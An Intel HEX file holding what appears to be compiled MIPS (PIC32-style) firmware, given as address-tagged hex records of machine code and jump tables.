:1093f0000900621400000000059d023c70fa44243c
:10940000059d023c1cfb45240413410f0000000095
:109410001de5400b00000000059d023c70fa44244d
:10942000059d023c5cfb45240413410f0000000035
:109430001de5400b000000001000c38f0100023c3e
:1094400000f0423424106200021b020000a0023c23
:109450008018030034724224211062000000428c04
:10946000059d033c70fa6424212840000413410f39
:10947000000000001000c28f08004230c21002003d
:109480000500401000000000059d023cacfa42249b
:1094900028e5400b00000000059d023cb4fa422480
:1094a000059d033c70fb6424212840000413410ff8
:1094b000000000001000c28f000c42308212020037
:1094c000059d033c8cfb6424212840006913410f57
:1094d000000000001000c28f000c42308212020017
:1094e0000300422c0900401400000000059d023cce
:1094f00070fa4424059d023ca8fb45240413410f47
:10950000000000004de5400b000000001000c28f7d
:10951000000c42308212020001004224401002007e
:10952000059d033cf4fa6424212840006913410f8f
:10953000000000001000c28fe00042304211020023
:10954000059d033cb4fb6424212840006913410fae
:10955000000000001000c28f0002423042120200e0
:109560000500401000000000059d023cacfa4224ba
:1095700060e5400b00000000059d023cb4fa422467
:10958000059d033cd0fb6424212840000413410fb7
:10959000000000001000c28f0001423002120200e1
:1095a0000500401000000000059d023cacfa42247a
:1095b00070e5400b00000000059d023cb4fa422417
:1095c000059d033cecfb6424212840000413410f5b
:1095d000000000001000c28f100042300211020093
:1095e0000500401000000000059d023cacfa42243a
:1095f00080e5400b00000000059d023cb4fa4224c7
:10960000059d033c08fc6424212840000413410ffd
:10961000000000001000c28f0400423082100200df
:109620000500401000000000059d023cacfa4224f9
:1096300090e5400b00000000059d023cb4fa422476
:10964000059d033c24fc6424212840000413410fa1
:10965000000000001000c28f0200423042100200e1
:109660000500401000000000059d023cacfa4224b9
:10967000a0e5400b00000000059d023cb4fa422426
:10968000059d033c40fc6424212840000413410f45
:10969000000000001000c28f0100423005004010a1
:1096a00000000000059d023cacfa4224afe5400bef
:1096b00000000000059d023cb4fa4224059d033cd5
:1096c0005cfc6424212840000413410f00000000ca
:1096d000059d023c78fc44242400c58f0413410fef
:1096e000000000002400c48f040005245cb7400f74
:1096f00000000000059d023c2cfa4424059d023c1c
:1097000030fa45240413410f000000000100022438
:1097100021e8c0031c00bf8f1800be8f2000bd27aa
:109720000800e00300000000e0ffbd271c00bfaf01
:109730001800beaf21f0a0032000c4af2000c48fea
:109740008db7400f000000001000c2af1600c0a38c
:1097500000a0023cdc564224c800428c03004010aa
:1097600000000000010002241600c2a31400c0a3e0
:109770001500c0a3f0e5400b0000000000a0023c73
:10978000dc564224a400438c1400c493059d023c83
:10979000ecf942242110820000004290050062147e
:1097a00000000000010002241500c2a3f4e5400bf4
:1097b000000000001400c293010042241400c2a360
:1097c0001400c2930800422cecff4014000000007b
:1097d0001500c293030040140000000001000224a1
:1097e0001600c2a31600c2931a0040100000000029
:1097f0001000c28f00d8437c0090023c251062000c
:109800001000c2af1000c38f0200023c251062009e
:109810001000c2af1000c38f03ff023cffff4234b1
:109820002418620000a0023cdc564224a400428cb2
:10983000feff42244210020080240200fc00023c91
:1098400024108200251062001000c2af20e6400bf9
:10985000000000001000c38fe3ff023cffff423412
:10986000241862001400c2938014020021204000da
:109870001c00023c24108200251062001000c2afc0
:1098800000a0023cdc564224a800428c0c00401090
:10989000000000001000c38ffff3022424186200b0
:1098a00000a0023cdc564224a800428c8210020038
:1098b00080120200000c4230251062001000c2af7e
:1098c00000a0023cdc564224cc00428c0b0040102d
:1098d0000000000000a0023cdc564224a00043909f
:1098e00001000224050062140000000008000224a8
:1098f0001500c2a37ce6400b0000000000a0023c63
:10990000dc564224c400428c0b00401000000000d2
:1099100000a0023cdc564224a00043900100022437
:109920000500621400000000100002241500c2a30c
:109930007ce6400b0000000000a0023cdc56422404
:10994000a00042900700432c260060100000000099
:1099500080180200049d023c6c9942242110620090
:109960000000428c0800400000000000e499039dc4
:109970008899039d9499039da499039db499039d8f
:10998000c499039dd499039d1500c0a37ce6400ba8
:1099900000000000040002241500c2a37ce6400b76
:1099a00000000000050002241500c2a37ce6400b65
:1099b00000000000010002241500c2a37ce6400b59
:1099c00000000000020002241500c2a37ce6400b48
:1099d00000000000030002241500c2a37ce6400b37
:1099e000000000002110000098e6400b000000007d
:1099f0001000c38ffeff023cff0f423424186200a8
:109a00001500c29300130200212040000100023c17
:109a100000f0423424108200251062001000c2af12
:109a20001000c38f1fff02242418620000a0023c14
:109a3000dc564224b000428c421102004011020068
:109a4000ff004230251062001000c2af2000c48f1a
:109a50001000c58f90b6400f0000000001000224e6
:109a600021e8c0031c00bf8f1800be8f2000bd2757
:109a70000800e00300000000e8ffbd271400bfafae
:109a80001000beaf21f0a0031800c4af2110a00049
:109a90001c00c2a31c00c2931600432c600060107f
:109aa0000000000080180200049d023cc09a42247d
:109ab000211062000000428c0800400000000000fd
:109ac000209c039d189b039d189b039d189b039d41
:109ad000189b039d189b039d189b039d209c039d31
:109ae000209c039dd89b039d209c039d489b039d28
:109af000909b039db49b039dd89b039d6c9b039df2
:109b0000fc9b039d489b039d209c039d209c039de3
:109b1000209c039dd89b039d1800c48f059d023c8b
:109b200098fc452408000624214b410f000000004a
:109b30001800c48fcae5400f000000000100022495
:109b400009e7400b000000001800c48f059d023c8f
:109b5000a4fc452408000624214b410f000000000e
:109b60000100022409e7400b000000001800c48f28
:109b7000059d023cb0fc452408000624214b410f02
:109b8000000000000100022409e7400b0000000073
:109b90001800c48f059d023cbcfc45240800062427
:109ba000214b410f000000000100022409e7400b97
:109bb000000000001800c48f059d023cc8fc45242d
:109bc00008000624214b410f000000000100022480
:109bd00009e7400b000000001800c48f059d023cff
:109be000d4fc452408000624214b410f000000004e
:109bf0000100022409e7400b000000001800c48f98
:109c0000059d023ce0fc452408000624214b410f41
:109c1000000000000100022409e7400b00000000e2
:109c20002110000021e8c0031400bf8f1000be8f78
:109c30001800bd270800e00300000000e8ffbd2772
:109c40001400bfaf1000beaf21f0a00300a0023c83
:109c5000d857442421280000081206247152410fcd
:109c60000000000021e8c0031400bf8f1000be8f69
:109c70001800bd270800e00300000000d0fdbd274c
:109c80002c02bfaf2802beaf21f0a00300a0023c0f
:109c9000d85742902118400000a0023c80180300d1
:109ca0004c714224211062000000428c059d033c4f
:109cb000ac416424212840000413410f000000003f
:109cc00000a0023cd85742240100429021184000d5
:109cd00000a0023c801803004c7142242110620055
:109ce0000000428c059d033cc441642421284000af
:109cf0000413410f00000000059d023ce041442494
:109d000000a0023cda5745240413410f0000000074
:109d100000a0023cd85742240100429006004014a3
:109d20000000000000a0023cd85742901000c2a3df
:109d300052e7400b0000000000a0023cd85742242c
:109d4000010042901000c2a31000c2931400c32768
:109d50002120600000a0033cda5765242130400038
:109d60004c2d410f000000000400401000000000d6
:109d70001400c22761e7400b00000000059d023c73
:109d8000fc414224059d033c0842642421284000f4
:109d90000413410f0000000000a0023cd85742907d
:109da0001802c32721206000212840004125410fcf
:109db000000000004100401000000000059d023c32
:109dc00024424424059d023c284245240413410fab
:109dd000000000001c02c0af00a0023cd857429017
:109de0001c02c3272120600021284000c025410f0c
:109df000000000002002c0af00a0023cd8574290f3
:109e00002002c3272120600021284000f325410fb4
:109e10000000000000a0023cd85742240412438cea
:109e20001802c28f1800620012180000821003008e
:109e30000002432400a0023cd857422421106200b3
:109e40000300442400a0023cd85742240412438c4f
:109e50001c02c28f1800620012180000821003005a
:109e60000002432400a0023cd85742242110620083
:109e70000300452400a0023cd85742240412438c1e
:109e80002002c28f18006200121800008210030026
:109e90000002432400a0023cd85742242110620053
:109ea0000300432400a0023cd857429021306000b8
:109eb00021384000af26410f0000000000a0023c06
:109ec000d8574224031242900900401400000000b9
:109ed000059d023c24424424059d023c2842452421
:109ee0000413410f0000000001e8400b00000000d7
:109ef000059d023c24424424059d023c30424524f9
:109f00000413410f0000000000a0023cd857422477
:109f10000412428c821002001000c327211062003c
:109f2000040040a01802c0aff3e7400b000000009f
:109f300000a0023cd85742240412438c1802c28f5e
:109f4000180062001218000082100300000243246f
:109f500000a0023cd8574224211062000300432491
:109f600000a0023cd85742240412428c8210020006
:109f70001400c4272128600021304000214b410fec
:109f8000000000001400c2930d004010000000000b
:109f90001802c28f059d033c4842642421284000da
:109fa0006913410f000000001400c227059d033c07
:109fb00024426424212840000413410f00000000c3
:109fc0001802c28f010042241802c2af00a0023c56
:109fd000d857422403124290211840001802c28f21
:109fe0002b104300d2ff401400000000059d023cee
:109ff00024424424059d023c284245240413410f79
:10a000000000000021e8c0032c02bf8f2802be8f91
:10a010003002bd270800e00300000000e0ffbd277c
:10a020001c00bfaf1800beaf21f0a0032000c4afda
:10a030002000c48f36bf400f000000001000c2a3f4
:10a040001000c29304004014000000002110000022
:10a050001be8400b000000001000c29321204000cc
:10a0600021e8400f000000000100022421e8c003a5
:10a070001c00bf8f1800be8f2000bd270800e00322
:10a0800000000000e8ffbd271400bfaf1000beaf06
:10a0900021f0a003211080001800c2a30fe7400f99
:10a0a0000000000000a0023c1800c393d85743a052
:10a0b0001800c293212040005fbf400f0000000045
:10a0c0002118400000a0023cd8574224041243ac9f
:10a0d0001800c29321204000a0bf400f00000000e4
:10a0e000ff00433000a0023cd8574224031243a093
:10a0f00021e8c0031400bf8f1000be8f1800bd27d9
:10a100000800e00300000000d8ffbd272400bfaf17
:10a110002000beaf21f0a0032800c4af2110a00092
:10a120003000c6af2c00c2a32800c28f00004280be
:10a130000e0040140000000000a0023cd8574290de
:10a1400005004014000000002c00c2931000c2a3c0
:10a1500065e8400b0000000000a0023cd857429088
:10a160001000c2a365e8400b000000002800c48f67
:10a1700036bf400f000000001000c2a31000c293c1
:10a18000040040140000000021100000d3e8400b40
:10a190000000000000a0023cdc56422487004290f0
:10a1a0001000c3930a006214000000001000c29364
:10a1b0002120400021e8400f0000000000a0023ce8
:10a1c000d8574224010040a08be8400b000000005b
:10a1d0002c00c3931000c29300a0043cdc1c842418
:10a1e00021286000213040007126410f000000004e
:10a1f0000b004010000000001000c293212040001e
:10a2000021e8400f0000000000a0023cd857422483
:10a210002c00c393010043a08be8400b000000001a
:10a2200021100000d3e8400b000000002c00c29376
:10a2300000a0033cda5764243000c58f2130400071
:10a240004dc5400f00000000040040140000000055
:10a2500021100000d3e8400b000000001000c29362
:10a260001400c32721206000212840004125410f10
:10a2700000000000340040100000000000a0023c7c
:10a28000d85742240412438c1400c28f1800620075
:10a2900012180000821003000002432400a0023cb8
:10a2a000d857422421106200030044242c00c39399
:10a2b0001000c29321286000213040007126410f18
:10a2c0000000000004004014000000002110000005
:10a2d000d3e8400b000000001000c2931800c32711
:10a2e00021206000212840007e25410f0000000051
:10a2f000150040100000000000a0023cd857422486
:10a300000412438c1800c28f18006200121800005b
:10a31000821003000002432400a0023cd8574224cc
:10a32000211062000300432400a0023cd857429051
:10a330002120600000a0033cda5765242130400052
:10a34000e8c5400f000000000100022421e8c0031e
:10a350002400bf8f2000be8f2800bd270800e00327
:10a3600000000000d8fdbd272402bfaf2002beaf11
:10a3700021f0a0032802c4af2c02c5af1100c0a376
:10a380002802c28f0000428010004014000000002c
:10a3900000a0023cd8574290070040140000000083
:10a3a00000a0023cdc564224870042901000c2a369
:10a3b000fde8400b0000000000a0023cd85742908e
:10a3c0001000c2a3fde8400b000000002802c48f6b
:10a3d00036bf400f000000001000c2a31000c2935f
:10a3e000040040140000000021100000abe9400b05
:10a3f000000000001400c22721204000c62c410f9d
:10a4000000000000040040140000000021100000c3
:10a41000abe9400b000000001000c2932120400077
:10a4200021e8400f0000000000a0023cdc5642245e
:10a43000870042901000c3934e0062140000000099
:10a4400000a0023cd8574224010040a02120000077
:10a4500000a0023cdc1c45242c02c68fbe51410fdb
:10a460000000000007004014000000002120000050
:10a4700000a0023cdc1c45242c02c68f9255410fe3
:10a48000000000001400c22700a0033cda57642437
:10a4900021284000574a410f0000000000a0023c64
:10a4a000d8574224031242900400401400000000d8
:10a4b00001000224abe9400b000000001200c0a321
:10a4c00053e9400b000000001200c39300a0023cbf
:10a4d000d85742240412428c18006200121800005f
:10a4e000821003000002432400a0023cd8574224fb
:10a4f00021106200030044241200c3931200c2938f
:10a500002128600021304000a444410f00000000d9
:10a5100009004014000000001200c293059d033c96
:10a5200060426424212840006913410f00000000ac
:10a5300050e9400b00000000010002241100c2a3fa
:10a540001200c293010042241200c2a300a0023ce8
:10a55000d8574224031242901200c3932b1062007a
:10a56000d9ff4014000000001100c293abe9400b7a
:10a570000000000000a0023cdc564224870043900b
:10a5800000a0023cd8574224010043a01400c22777
:10a5900000a0033cda57642421284000574a410fa9
:10a5a000000000001000c2931802c32721206000a1
:10a5b000212840004125410f000000000900401003
:10a5c000000000001000c2931c02c327212060007d
:10a5d000212840007e25410f0000000004004014a7
:10a5e0000000000021100000abe9400b000000005b
:10a5f00000a0023cd85742240412438c1802c28f98
:10a6000018006200121800008210030000024324a8
:10a6100000a0023cd85742242110620003004424c9
:10a6200000a0023cdc5642248700429021184000e2
:10a630001000c29321286000213040007126410f94
:10a640000000000004004014000000002110000081
:10a65000abe9400b0000000000a0023cd8574224a8
:10a660000412438c1c02c28f1800620012180000f2
:10a67000821003000002432400a0023cd857422469
:10a68000211062000300432400a0023cd8574290ee
:10a690002120600000a0033cda57652421304000ef
:10a6a000e8c5400f000000000100022421e8c003bb
:10a6b0002402bf8f2002be8f2802bd270800e003be
:10a6c00000000000e0fdbd271c02bfaf1802beafb6
:10a6d00021f0a0032002c4af00a0023cd857429052
:10a6e000040040140000000021100000dfe9400bce
:10a6f0000000000000a0023cd85742240100429014
:10a70000060040140000000000a0023cd857429010
:10a710001000c2a3cbe9400b0000000000a0023ce7
:10a72000d8574224010042901000c2a31000c293e7
:10a730001400c3272120600000a0033cda576524e1
:10a74000213040004c2d410f000000000400401457
:10a750000000000021100000dfe9400b00000000b5
:10a760001000c3931400c2272002c48f2128600068
:10a770002130400042e8400f0000000021e8c00303
:10a780001c02bf8f1802be8f2002bd270800e00305
:10a7900000000000d8fcbd272403bfaf2003beafdc
:10a7a00021f0a0032803c4af1400c0af00a0023cf6
:10a7b0002002c427dc564324fc0002242128600028
:10a7c00021304000214b410f0000000000a0023c5e
:10a7d000dc5642248700439000a0023cd8574290a8
:10a7e000130062100000000000a0023cd857429005
:10a7f000212040008fc0400f000000000c004014da
:10a800000000000000a0023cdc5644242002c327c4
:10a81000fc0002242128600021304000214b410f20
:10a82000000000002110000046eb400b000000007b
:10a830001c00c22721204000c62c410f0000000050
:10a840001c00c2271000c48f212840002803c68f97
:10a85000be51410f000000001400c2af1400c28faf
:10a8600008004014000000001c00c2271000c48f24
:10a87000212840002803c68f9255410f0000000098
:10a880001400c2af00a0023cdc5642248700429074
:10a890001800c32721206000212840004125410fd6
:10a8a000000000000400401400000000211000001f
:10a8b00046eb400b0000000000a0023cdc564224a6
:10a8c0008700439008000224390062100000000055
:10a8d00000a0023cd85742240412428c821002008d
:10a8e0001000c327211062000c0040a000a0023c11
:10a8f000dc564224870042902118400000a0023c10
:10a90000dc564224870042901c00c42721286000a6
:10a91000213040007126410f000000000c0040145f
:10a920000000000000a0023cdc5644242002c327a3
:10a93000fc0002242128600021304000214b410fff
:10a94000000000002110000046eb400b000000005a
:10a950001800c38f1c00c22721206000212840005e
:10a96000010006241849410f000000000c004014ab
:10a970000000000000a0023cdc5644242002c32753
:10a98000fc0002242128600021304000214b410faf
:10a99000000000002110000046eb400b000000000a
:10a9a0001c00c22721204000c62c410f00000000df
:10a9b00000a0023cd85742240412428c82100200ac
:10a9c0001000c327211062000c0040a01000c0af8f
:10a9d000e1ea400b000000001800c28f1000c38f96
:10a9e000650062100000000000a0023cd85742241d
:10a9f0000412438c1000c28f180062001210000075
:10aa00008218020000a0023cd857422421106200a4
:10aa10000302429058004010000000001000c28f56
:10aa2000070040140000000000a0023cdc56422455
:10aa300087004390080002244f00621000000000cd
:10aa400000a0023cdc564224870043900800022408
:10aa500012006210000000001c00c2271000c48f0a
:10aa6000212840002803c68fbe51410f000000007e
:10aa70001400c2af1400c28f080040140000000090
:10aa80001c00c2271000c48f212840002803c68f55
:10aa90009255410f000000001400c2af00a0023c1c
:10aaa000d85742240412438c1000c28f1800620051
:10aab00012180000821003000002432400a0023c90
:10aac000d8574224211062000300432400a0023c16
:10aad000d85742240412428c821002001c00c42762
:10aae0002128600021304000214b410f0000000070
:10aaf000059d023c704244241000c58f6913410f2c
:10ab0000000000001c00c227059d033c2442642471
:10ab1000212840000413410f000000001c00c22740
:10ab20001000c48f21284000010006241849410f5d
:10ab3000000000001000401400000000059d023cd1
:10ab400024424424059d023c784245240413410fcd
:10ab5000000000001400c28f070040140000000035
:10ab6000059d023c24424424059d023c8442452428
:10ab70000413410f000000001000c28f01004224a6
:10ab80001000c2af00a0023cd857422403124290ea
:10ab9000211840001000c28f2b1043008eff40147c
:10aba0000000000000a0023cdc56422487004390d5
:10abb000080002240f006210000000001c00c227e1
:10abc0001000c48f212840002803c68fbe51410fba
:10abd0000000000007004014000000001c00c22715
:10abe0001000c48f212840002803c68f9255410fc2
:10abf0000000000000a0023cd85742240412428cfe
:10ac0000821002001000c327211062000c0040a037
:10ac100000a0023cd85742240412438c1800c28f73
:10ac20001800620012180000821003000002432482
:10ac300000a0023cd85742242110620003004324a4
:10ac400000a0023cd85742240412428c8210020019
:10ac50001c00c4272128600021304000214b410ff7
:10ac6000000000001800c28f059d033c944264243c
:10ac7000212840006913410f000000001c00c2277a
:10ac8000059d033c24426424212840000413410f05
:10ac9000000000001800c38f1c00c22721206000a4
:10aca00021284000213000001849410f0000000019
:10acb0000e0040140000000000a0023cdc564424ba
:10acc0002002c327fc00022421286000213040001c
:10acd000214b410f00000000c40c410f0000000098
:10ace0002110000046eb400b0000000000a0023cd9
:10acf000dc5644242002c327fc00022421286000e3
:10ad000021304000214b410f00000000c40c410fd6
:10ad1000000000000100022421e8c0032403bf8fcb
:10ad20002003be8f2803bd270800e00300000000b9
:10ad3000d8ffbd272400bfaf2000beaf1c00b0afbe
:10ad400021f0a0032800c4af2c00c5af2c00c48f95
:10ad50007b4b410f000000008010020000a0033c6c
:10ad6000d857632403126390212060002800c38f0a
:10ad70002320830000a0033cd85763240412638c73
:10ad800018008300121800002b1062000900401404
:10ad90000000000000a0023cd85742240312429059
:10ada000211840002800c28f2b10430004004014db
:10adb0000000000021100000e1eb400b000000004b
:10adc00000a0023cd8574224010042902c004010c1
:10add0000000000000a0023cd85742901000c3279a
:10ade00021206000212840007e25410f0000000046
:10adf00023004010000000002c00c48f7b4b410f4b
:10ae0000000000008018020000a0023cd857422435
:10ae10000412428c1b006200f4014000101000007c
:10ae2000121800002800c28f21106200ffff50247a
:10ae300000a0023cd857422401004290212040004b
:10ae4000eabf400f000000002118400000a0023cb3
:10ae5000d85742240412428c1b006200f4014000c7
:10ae600010100000121000002b10500004004010c1
:10ae70000000000021100000e1eb400b000000008a
:10ae800000a0023cd85742240412438c2800c28ff1
:10ae90001800620012200000821004000002432407
:10aea00000a0023cd8574224211062000300502425
:10aeb0002c00c48f7b4b410f0000000021200002ba
:10aec0002c00c58f21304000214b410f00000000b5
:10aed00000a0023cd85742240100429028004010b4
:10aee0000000000000a0023cd85742901000c32789
:10aef00021206000212840007e25410f0000000035
:10af00001f0040100000000000a0023cd85742245f
:10af10000412438c1000c28f180062001218000047
:10af2000821003000002432400a0023cd8574224b0
:10af3000211062000300432400a0023cd8574224a1
:10af40000412448c00a0023cd857422403124290c1
:10af5000212840001000c28f2310a2001800820098
:10af6000122000008210040000a0043cda57842460
:10af70002128600021304000214b410f00000000db
:10af80000100022421e8c0032400bf8f2000be8fef
:10af90001c00b08f2800bd270800e003000000005f
:10afa000e8ffbd271400bfaf1000beaf21f0a00323
:10afb000df1a410f0000000021e8c0031400bf8f1a
:10afc0001000be8f1800bd270800e003000000003d
:10afd000f8ffbd270400beaf21f0a003010002244a
:10afe00021e8c0030400be8f0800bd270800e0036d
:10aff00000000000e0ffbd271c00bfaf1800beaf7f
:10b0000021f0a00388bf033c206162940442027ccb
:10b01000206162a400a0023cf4174424ff00052430
:10b02000210006247152410f000000000200042498
:10b03000c219410f0000000088bf033c60606294a9
:10b0400001000424444a827c606062a4708080a372
:10b050006c8080af748080af788080af688080a380
:10b060006481828fc010020080180200211043000a
:10b07000801802002110430000190200231862000a
:10b0800000110300231843006c81828f1b006200b3
:10b09000f40140001010000012100000ffff4230c9
:10b0a0001000c2af02000424c219410f00000000ca
:10b0b00080bf033c0060629401000424c47b827c56
:10b0c000006062a402000424c219410f00000000c5
:10b0d00080bf033c0032629401000424c47b827c64
:10b0e000003262a480bf033c000862940100042483
:10b0f000c47b827c000862a402000424c219410fb0
:10b100000000000088bf033c206162940100042419
:10b110000442827c206162a46880829321184000ee
:10b1200000a0023cf4174224211862001000c28fd4
:10b13000ffff423021206000212840002e1a410fdd
:10b14000000000000f0040100000000068808293a3
:10b1500001004224ff004230688082a3688083930c
:10b1600021000224030062140000000062ec400b86
:10b1700000000000802502241000c2af46ec400b06
:10b180000000000000000000688082930300422c51
:10b19000e40040140000000000a0023cf417422428
:10b1a000010042901500c2a3020002241400c2a3b1
:10b1b000478180a347818293588182a358818293db
:10b1c0005b8182a35b818293468182a3488180a3b5
:10b1d00048818293598182a3598182935d8182a3a0
:10b1e0005d818293458182a3498180a349818293b5
:10b1f0005a8182a35a8182935c8182a35c8182936b
:10b20000448182a31500c293100042300a0040100e
:10b21000000000001400c293010043241400c3a3e3
:10b220002118400000a0023cf417422421106200c3
:10b2300000004290468182a31500c2932000423054
:10b240000a004010000000001400c29301004324d3
:10b250001400c3a32118400000a0023cf4174224ac
:10b2600021106200000042905b8182a31500c2930e
:10b27000400042300a004010000000001400c29359
:10b28000010043241400c3a32118400000a0023c85
:10b29000f41742242110620000004290588182a3da
:10b2a0001500c2830a004104000000001400c2938c
:10b2b000010043241400c3a32118400000a0023c55
:10b2c000f41742242110620000004290478182a3bb
:10b2d00047818293f00042307c0040100000000063
:10b2e00047818293100042300a00401000000000a5
:10b2f0001400c293010043241400c3a3211840008a
:10b3000000a0023cf4174224211062000000429089
:10b31000458182a347818293200042300a00401079
:10b32000000000001400c293010043241400c3a3d2
:10b330002118400000a0023cf417422421106200b2
:10b34000000042905d8182a3478182934000423099
:10b350000a004010000000001400c29301004324c2
:10b360001400c3a32118400000a0023cf41742249b
:10b370002110620000004290598182a3478182938c
:10b380002014027c0a004104000000001400c29353
:10b39000010043241400c3a32118400000a0023c74
:10b3a000f41742242110620000004290488182a3d9
:10b3b00048818293f00042304400401000000000b9
:10b3c00048818293100042301900401000000000b4
:10b3d0001400c293010043241400c3a321184000a9
:10b3e00000a0023cf41742242110620000004290a9
:10b3f000448182a3448182931000422c05004014b2
:10b400000000000044818393ff00022408006214be
:10b410000000000078ee400f000000000800022449
:10b42000788082af211000004fed400b000000003b
:10b4300048818293200042300a0040100000000042
:10b440001400c293010043241400c3a32118400038
:10b4500000a0023cf4174224211062000000429038
:10b460005c8182a348818293400042300a004010f0
:10b47000000000001400c293010043241400c3a381
:10b480002118400000a0023cf41742242110620061
:10b49000000042905a8182a3488182932014027c4a
:10b4a0000a004104000000001400c293010043247c
:10b4b0001400c3a32118400000a0023cf41742244a
:10b4c0002110620000004290498182a31500c293be
:10b4d0000f004230ff004230708082a37080829360
:10b4e00007004010000000001400c39300a0023cbd
:10b4f000f41742242110620041ed400b00000000cf
:10b50000211000006c8082af45ef400f000000006a
:10b5100001000224748082af010002244fed400b31
:10b520000000000002000224788082af748080afa7
:10b5300078ee400f000000002110000021e8c00359
:10b540001c00bf8f1800be8f2000bd270800e0033d
:10b5500000000000c0ffbd273c00bfaf3800beaff9
:10b560003400b5af3000b4af2c00b3af2800b2af99
:10b570002400b1af2000b0af21f0a0034000c4af61
:10b580001c00c0a31d00c0a31e00c0a31000022405
:10b590001100c2a3020002241200c2a3030002246d
:10b5a0001300c2a31400c0a36481828fb700033cc0
:10b5b000001b63341b006200f40140001010000007
:10b5c000121000001800c2af1000c0a391ed400b94
:10b5d000000000004000c28f0100422400004390a0
:10b5e0001100c29324106200ff0042300f0040108f
:10b5f000000000001300c293010042241300c2a304
:10b600001000c2931200c3934000c48f211883001e
:10b61000000063901000c427211082000c0043a09a
:10b620001200c293010042241200c2a31100c2936f
:10b63000401002001100c2a31000c2930100422476
:10b640001000c2a31000c2930300422ce1ff40147b
:10b6500000000000408180a37480838f01000224d9
:10b660000500621400000000478182931000423000
:10b670000400401000000000211000005cee400bb0
:10b68000000000001000c0a3b0ed400b000000005f
:10b690001800c48fa519410f000000001000c293cc
:10b6a000010043241000c3a34000c38f2110620097
:10b6b0000000429021204000d719410f00000000f7
:10b6c0001300c293ffff43241300c3a3f0ff4014f1
:10b6d000000000001000c0a31000c3934c8182271b
:10b6e0002110620021204000802505242e1a410fe0
:10b6f000000000000b004010000000001000c2938a
:10b70000010042241000c2a31000c39307000224ca
:10b710000b00621400000000211000005cee400be2
:10b7200000000000000000001000c2930300422c43
:10b730008e00401400000000d2ed400b000000001d
:10b74000b6ed400b000000004c818393ff00022403
:10b7500086006214000000004000c28f01004224f5
:10b7600000004290211840004d8182932610620013
:10b770000f0042307d00401400000000020002244f
:10b780001100c2a34d818293100042300e00401080
:10b79000000000001100c3934c8182272110620039
:10b7a000000043901c00c2930400621000000000df
:10b7b000211000005cee400b000000001100c2935d
:10b7c000010042241100c2a34d8182932000423027
:10b7d0000e004010000000001100c3934c8182272e
:10b7e00021106200000043901d00c293040062100b
:10b7f00000000000211000005cee400b0000000083
:10b800001100c293010042241100c2a34d81829312
:10b81000400042300b004010000000001100c393b4
:10b820004c81822721106200000043901e00c293c9
:10b830000400621000000000211000005cee400bcc
:10b84000000000001400c0a31100c0a31fee400bb5
:10b85000000000001100c3934c8182272110620078
:10b86000000043901400c293261062001400c2a38b
:10b870001100c293010042241100c2a31100c3931e
:10b880001000c2932b106200f2ff40140000000071
:10b890001400c293040040100000000021100000ba
:10b8a0005cee400b000000004d818293100042309e
:10b8b00029004010000000004e81829321204000aa
:10b8c0009aee400f000000006c81828f21904000b2
:10b8d000219800001480829321804000218800007c
:10b8e000021070721800320212180000212043006a
:10b8f00019005002121000001018000021208300cf
:10b900002118800015808493212880001080848f66
:10b910001800a40012a0000021a80000212040006f
:10b9200021286000213080022138a002d833410f45
:10b930000000000013004000110060001210000021
:10b9400010180000648182afac1a410f00000000a3
:10b9500045ef400f000000001000c293408182a319
:10b96000010002245cee400b0000000021100000ea
:10b9700021e8c0033c00bf8f3800be8f3400b58f74
:10b980003000b48f2c00b38f2800b28f2400b18f09
:10b990002000b08f4000bd270800e0030000000039
:10b9a000f8ffbd270400beaf21f0a0037480838f91
:10b9b00001000224040062140000000014000224ac
:10b9c00073ee400b000000001e00022421e8c003bb
:10b9d0000400be8f0800bd270800e003000000003f
:10b9e000e8ffbd271400bfaf1000beaf21f0a003d9
:10b9f00088bf033c206162940442027c206162a4ff
:10ba000001000424c219410f0000000080bf033c64
:10ba100000326294c47b027c003262a480bf033c8b
:10ba200000086294c47b027c000862a480bf023cd0
:10ba3000100840accf1a410f0000000088bf033c43
:10ba400060606294444a027c606062a4748080af4b
:10ba500021e8c0031400bf8f1000be8f1800bd275f
:10ba60000800e00300000000f0ffbd270c00beaf9f
:10ba700021f0a003211080001000c2a31000c29387
:10ba80000f0042300000c2a301000224148082a3f0
:10ba900001000224158082a30000c2931000432cf1
:10baa0004d0060100000000080180200049d023c60
:10bab000c4ba4224211062000000428c08004000f9
:10bac00000000000d4bb039dd4bb039d04bb039db9
:10bad00014bb039d24bb039d34bb039d44bb039d4a
:10bae000d4bb039d54bb039d64bb039d74bb039dea
:10baf00084bb039d94bb039da4bb039db4bb039d6a
:10bb0000c4bb039d02000224148082a3f6ee400b06
:10bb10000000000004000224148082a3f6ee400b13
:10bb20000000000008000224148082a3f6ee400bff
:10bb30000000000010000224148082a3f6ee400be7
:10bb40000000000020000224148082a3f6ee400bc7
:10bb5000000000000c000224148082a3f6ee400bcb
:10bb60000000000014000224148082a3f6ee400bb3
:10bb70000000000002000224158082a3f6ee400bb4
:10bb80000000000004000224158082a3f6ee400ba2
:10bb90000000000008000224158082a3f6ee400b8e
:10bba0000000000010000224158082a3f6ee400b76
:10bbb0000000000020000224158082a3f6ee400b56
:10bbc0000000000040000224158082a3f6ee400b26
:10bbd00000000000000000001000c29302110200eb
:10bbe0000000c2a374010224108082af0000c2933f
:10bbf0001000432c4200601000000000801802007a
:10bc0000049d023c18bc4224211062000000428cba
:10bc10000800400000000000fcbc039dfcbc039d2c
:10bc200058bc039d68bc039d78bc039d88bc039de4
:10bc300098bc039dfcbc039dfcbc039da8bc039d5c
:10bc4000b8bc039dc8bc039dd8bc039de8bc039d44
:10bc5000fcbc039dfcbc039d2e020224108082af1d
:10bc600040ef400b00000000e8020224108082af89
:10bc700040ef400b000000005c040224108082af03
:10bc800040ef400b00000000d0050224108082af7e
:10bc900040ef400b0000000044070224108082aff8
:10bca00040ef400b0000000000020224108082af31
:10bcb00040ef400b0000000000030224108082af20
:10bcc00040ef400b0000000000040224108082af0f
:10bcd00040ef400b0000000000060224108082affd
:10bce00040ef400b0000000000080224108082afeb
:10bcf0000000000040ef400b0000000000000000ca
:10bd000021e8c0030c00be8f1000bd270800e0032f
:10bd100000000000f0ffbd270c00beaf21f0a00323
:10bd200058818393ff000224050062100000000088
:10bd3000588182930c004224ffff4230428182a747
:10bd4000478182930f004330010002240b006214ec
:10bd50000000000058818393ff0002240500621454
:10bd6000000000000b000224428182a77def400bff
:10bd7000000000007def400b00000000588183931d
:10bd8000ff00022403006214000000000c000224e3
:10bd9000428182a7478182934000423005004010d3
:10bda00000000000598182930000c2a36fef400b96
:10bdb000000000000a0002240000c2a30000c39398
:10bdc000148082931800620012100000801102009b
